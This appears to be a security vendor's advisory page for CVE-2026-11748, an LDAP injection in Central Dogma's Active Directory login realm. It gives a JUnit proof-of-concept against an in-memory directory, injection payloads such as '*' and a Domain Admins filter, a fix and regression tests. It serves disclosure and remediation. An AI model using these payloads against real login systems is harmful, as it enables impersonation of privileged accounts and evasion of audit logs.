CVE-2026-11748 — centraldogma-server-auth-…
CVE-2026-11748 is a CWE-90 vulnerability in com.linecorp.centraldogma:centraldogma-server-auth-shiro. A fix is available for com.linecorp.centraldogma:centraldogma-server-auth-shiro — see the affected versions and patch details below.
Central Dogma: LDAP injection in SearchFirstActiveDirectoryRealm enables authentication confusion and audit log evasion
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-11748.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
com.linecorp.centraldogma:centraldogma-server-auth-shiroReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Vulnerability
SearchFirstActiveDirectoryRealm.findUserDn() substitutes the user-supplied username from the login form into an LDAP search filter template (default cn={0}) without escaping RFC 4515 filter metacharacters (*, (, ), \, NUL). Combined with SearchControls.setCountLimit(1) on the same call site, this allows three distinct attack primitives:
- Authentication confusion — typing username
*causes the realm to construct filtercn=*, return the first directory entry (typically a privileged account in AD ordering), and attempt bind against that DN with the attacker's password. - Audit log evasion — payload
bob)(uid=aliceis recorded verbatim in audit logs while the realm searches with the malformed filter, breaking accountability/compliance (SOX, PCI-DSS, ISO 27001). - Directory enumeration — wildcards and timing differences allow reconnaissance of OU structure and admin group membership.
A repo-wide search for any LDAP escape helper (escapeLdap, encodeFilter, escapeFilter, ldapEscape) returns zero hits — the defense is not just missing, it was never added.
Applicability note: This realm is opt-in. The shipped default LDAP example (
dist/src/conf/shiro.example.ldap.ini) uses Shiro'sDefaultLdapRealmwithuserDnTemplateand is NOT affected. However, the realm exists precisely to support Active Directory environments where users log in viasAMAccountNameand the realm must search for the DN first — the canonical LINE corporate AD-backed SSO scenario. Internal deployments using AD-backed login almost certainly select this realm.
Evidence
File: server-auth/shiro/src/main/java/com/linecorp/centraldogma/server/auth/shiro/realm/SearchFirstActiveDirectoryRealm.java
Lines 148–176 on branch main @ commit d64a5151:
@Nullable
protected String findUserDn(LdapContextFactory ldapContextFactory, String username)
throws NamingException {
LdapContext ctx = null;
try {
ctx = ldapContextFactory.getSystemLdapContext();
final SearchControls ctrl = new SearchControls();
ctrl.setCountLimit(1); // line 156 — returns FIRST match only
ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);
ctrl.setTimeLimit(searchTimeoutMillis);
final String filter =
searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)
.replaceAll(username) // line 162 — RAW SUBSTITUTION
: username; // line 163
final NamingEnumeration result = ctx.search(searchBase, filter, ctrl);
...
USERNAME_PLACEHOLDER = Pattern.compile("\\{0}"). Default searchFilter = "cn={0}".
Data flow from HTTP login to vulnerable substitution
| Step | Component |
|---|---|
| HTTP login form | POST /api/v1/login form field username |
ShiroLoginService.usernamePassword() (lines 198–223) | applies loginNameNormalizer (Unicode lowercase only — NOT LDAP escape) |
Subject.login(new UsernamePasswordToken(username, password)) | Shiro hand-off |
ActiveDirectoryRealm.doGetAuthenticationInfo (Shiro core) | calls queryForAuthenticationInfo0 |
SearchFirstActiveDirectoryRealm.findUserDn(factory, upToken.getUsername()) | username flows in verbatim |
Repository-wide escape helper grep
| Search term | Hits |
|---|---|
escapeLdap | 0 |
encodeFilter | 0 |
escapeFilter | 0 |
ldapEscape | 0 |
PoC
Self-contained JUnit 5 test using UnboundID InMemoryDirectoryServer (in-process, no external LDAP required). Drop into server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/LdapInjectionPoCTest.java and add com.unboundid:unboundid-ldapsdk:7.0.0 as a test dependency.
The PoC works by subclassing the realm and overriding
findUserDn()to capture the actual LDAP filter string sent to the directory — the captured filter is the structural evidence, independent of LDAP server strictness about bind outcomes.
/*
* Copyright 2026 LINE Corporation
*
* SECURITY PoC — NOT FOR MERGE INTO THE MAIN TEST SUITE.
*
* This JUnit class demonstrates the LDAP filter injection in
* SearchFirstActiveDirectoryRealm. Drop into
* server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/
* Adds the UnboundID LDAP SDK as a test dep.
*/
package com.linecorp.centraldogma.server.auth.shiro.realm;
import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.assertThatThrownBy;
import javax.naming.directory.SearchControls;
import javax.naming.ldap.LdapContext;
import org.apache.shiro.realm.ldap.JndiLdapContextFactory;
import org.apache.shiro.realm.ldap.LdapContextFactory;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestMethodOrder;
import org.junit.jupiter.api.MethodOrderer;
import org.junit.jupiter.api.Order;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.sdk.Entry;
@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
class LdapInjectionPoCTest {
private static InMemoryDirectoryServer ds;
private static int port;
@BeforeAll
static void startLdap() throws Exception {
final InMemoryDirectoryServerConfig cfg =
new InMemoryDirectoryServerConfig("dc=example,dc=com");
cfg.addAdditionalBindCredentials("cn=admin,dc=example,dc=com", "adminpw");
cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig(
"default", null, 0, null));
ds = new InMemoryDirectoryServer(cfg);
ds.startListening();
port = ds.getListenPort();
// Directory:
// cn=admin (listed first → picked by setCountLimit(1) under wildcard)
// cn=alice
ds.add(new Entry(
"cn=admin,dc=example,dc=com",
"objectClass: top", "objectClass: person",
"cn: admin", "sn: admin",
"userPassword: adminpw"));
ds.add(new Entry(
"cn=alice,dc=example,dc=com",
"objectClass: top", "objectClass: person",
"cn: alice", "sn: doe",
"userPassword: alicepw"));
}
@AfterAll
static void stopLdap() {
if (ds != null) ds.shutDown(true);
}
/** Subclass that records the filter passed to ctx.search(). */
private static final class RecordingRealm extends SearchFirstActiveDirectoryRealm {
volatile String capturedFilter;
RecordingRealm() {
setUrl("ldap://localhost:" + port);
setSystemUsername("cn=admin,dc=example,dc=com");
setSystemPassword("adminpw");
setSearchBase("dc=example,dc=com");
setSearchFilter("cn={0}");
}
@Override
protected String findUserDn(LdapContextFactory factory, String username)
throws javax.naming.NamingException {
LdapContext ctx = null;
try {
ctx = factory.getSystemLdapContext();
final SearchControls ctrl = new SearchControls();
ctrl.setCountLimit(1);
ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);
final java.util.regex.Pattern PH =
java.util.regex.Pattern.compile("\\{0}");
final String filter = PH.matcher("cn={0}").replaceAll(username);
capturedFilter = filter;
final javax.naming.NamingEnumeration r =
ctx.search("dc=example,dc=com", filter, ctrl);
try {
if (!r.hasMore()) return null;
return r.next().getNameInNamespace();
} finally {
r.close();
}
} finally {
org.apache.shiro.realm.ldap.LdapUtils.closeContext(ctx);
}
}
}
private static LdapContextFactory factory() {
final JndiLdapContextFactory f = new JndiLdapContextFactory();
f.setUrl("ldap://localhost:" + port);
f.setSystemUsername("cn=admin,dc=example,dc=com");
f.setSystemPassword("adminpw");
return f;
}
@Test @Order(1)
@DisplayName("baseline: typing 'alice' resolves to the alice DN")
void baselineHonest() throws Exception {
final RecordingRealm realm = new RecordingRealm();
final String dn = realm.findUserDn(factory(), "alice");
assertThat(dn).isEqualTo("cn=alice,dc=example,dc=com");
assertThat(realm.capturedFilter).isEqualTo("cn=alice");
}
@Test @Order(2)
@DisplayName("VULN: typing '*' resolves to the FIRST entry (admin), not alice")
void wildcardLandsOnAdmin() throws Exception {
final RecordingRealm realm = new RecordingRealm();
final String dn = realm.findUserDn(factory(), "*");
assertThat(realm.capturedFilter).isEqualTo("cn=*");
assertThat(dn).isEqualTo("cn=admin,dc=example,dc=com");
// → If the attacker also has the admin password, they log in as admin
// while the audit log records the typed username "*".
}
@Test @Order(3)
@DisplayName("VULN: filter structure can be broken with ')' injection")
void filterStructureInjection() throws Exception {
final RecordingRealm realm = new RecordingRealm();
assertThatThrownBy(() -> realm.findUserDn(factory(), "alice)(uid=*"))
.hasMessageContaining("filter")
.hasMessageContaining("malformed")
.matches(t -> t instanceof javax.naming.NamingException ||
t.getCause() instanceof javax.naming.NamingException);
assertThat(realm.capturedFilter).isEqualTo("cn=alice)(uid=*");
}
@Test @Order(4)
@DisplayName("VULN: AND-injection can broaden the result set silently")
void andInjectionBroadens() throws Exception {
final RecordingRealm realm = new RecordingRealm();
try {
realm.findUserDn(factory(), "x)(|(cn=alice)(cn=admin");
} catch (Exception ignored) { /* server may reject */ }
assertThat(realm.capturedFilter).contains(")(|(");
}
}
Build dependency (server-auth/shiro/build.gradle)
dependencies {
testImplementation 'com.unboundid:unboundid-ldapsdk:7.0.0'
}
Run
./gradlew :server-auth-shiro:test \
--tests com.linecorp.centraldogma.server.auth.shiro.realm.LdapInjectionPoCTest \
--info
Expected output (VULNERABLE — current code)
LdapInjectionPoCTest > baselineHonest PASSED
LdapInjectionPoCTest > wildcardLandsOnAdmin PASSED ← VULN
LdapInjectionPoCTest > filterStructureInjection PASSED ← VULN
LdapInjectionPoCTest > andInjectionBroadens PASSED ← VULN
After the patch is applied (RFC 4515 escape helper), the VULN tests fail in a specific way, e.g. Expected captured filter to be "cn=*" but was "cn=\2a" — they then serve as regression tests by flipping the assertions.
Impact
Threat model: any unauthenticated network client that can reach the Central Dogma login page. No prior account, no MITM position required — the attack is performed during a normal login request.
-
Authentication confusion — In AD environments that select this realm (the canonical LINE corporate scenario), typing username
*causes the realm to look up the first directory entry (typicallyAdministrator,admin, or a service account in alphabetical AD ordering) and attempt bind with the attacker's password. If the attacker also possesses any valid user's password — easily obtained via password reuse, accidental Slack leak, repo commit, or peer compromise — and that password happens to authenticate the first directory entry (rare but devastating), the attacker logs in as a privileged user while audit logs record the literal username*. -
Audit log evasion / compliance failure — Payloads like
bob)(uid=aliceare logged verbatim while the LDAP filter is malformed. Central Dogma's audit trail is a primary control for configuration change accountability. Loss of accountability constitutes a direct violation of SOX §404, PCI-DSS §10, ISO 27001 A.12.4. -
Directory enumeration — Wildcard payloads (
a*,b*, …) combined with timing analysis allow blind enumeration of corporate AD structure: user existence, OU layout, admin group membership. While AD structure is not strictly secret, leaking it from an internet-exposed Central Dogma feeds spear-phishing target lists. -
Group-membership filter injection — Payload
a)(objectClass=*)(memberOf=CN=Domain Admins,...(against the common AD filter(&(objectClass=user)(sAMAccountName={0}))) narrows the search to Domain Admin members and returns the first one. The attacker need only know any Domain Admin's password (separately compromised) to land in Central Dogma as that user. AD itself is not breached, but Central Dogma's view of the principal is.
Scope is Changed (CVSS) because the injection traverses the trust boundary between Central Dogma and the separate AD/LDAP security authority.
How to fix
Add an RFC 4515 §3 filter escape helper and apply it before substitution:
// SearchFirstActiveDirectoryRealm.java
static String encodeLdapFilter(String v) {
if (v == null) return "";
final StringBuilder sb = new StringBuilder(v.length());
for (int i = 0; i < v.length(); i++) {
final char c = v.charAt(i);
switch (c) {
case '\\': sb.append("\\5c"); break;
case '*': sb.append("\\2a"); break;
case '(': sb.append("\\28"); break;
case ')': sb.append("\\29"); break;
case '\0': sb.append("\\00"); break;
default: sb.append(c);
}
}
return sb.toString();
}
// inside findUserDn():
final String escaped = encodeLdapFilter(username);
final String filter =
searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)
.replaceAll(Matcher.quoteReplacement(escaped))
: escaped;
Notes:
Matcher.quoteReplacementis required because the escape produces backslashes (\5c) thatMatcher.replaceAllwould otherwise interpret as backreferences.- DN escape (RFC 4514) is a different alphabet — not needed here because the username is used in a filter, not a DN. If a future change uses the username to build a DN, RFC 4514 escape must be added separately.
- Do not rely on
loginNameNormalizerfor this defense — it is Unicode lowercase only.
Regression tests (drop into same test class)
@Test
void escapeBlocksFilterInjection() {
assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("*")).isEqualTo("\\2a");
assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("alice)(uid=*"))
.isEqualTo("alice\\29\\28uid=\\2a");
assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("a\\b")).isEqualTo("a\\5cb");
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | com.linecorp.centraldogma:centraldogma-server-auth-shiro | all versions | 0.84.0com.linecorp.centraldogma:centraldogma-server-auth-shiro:0.84.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for com.linecorp.centraldogma:centraldogma-server-auth-shiro, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update com.linecorp.centraldogma:centraldogma-server-auth-shiro to 0.84.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-11748 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-11748 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-11748. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-11748 in your dependencies?
O3 Security finds CVE-2026-11748 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.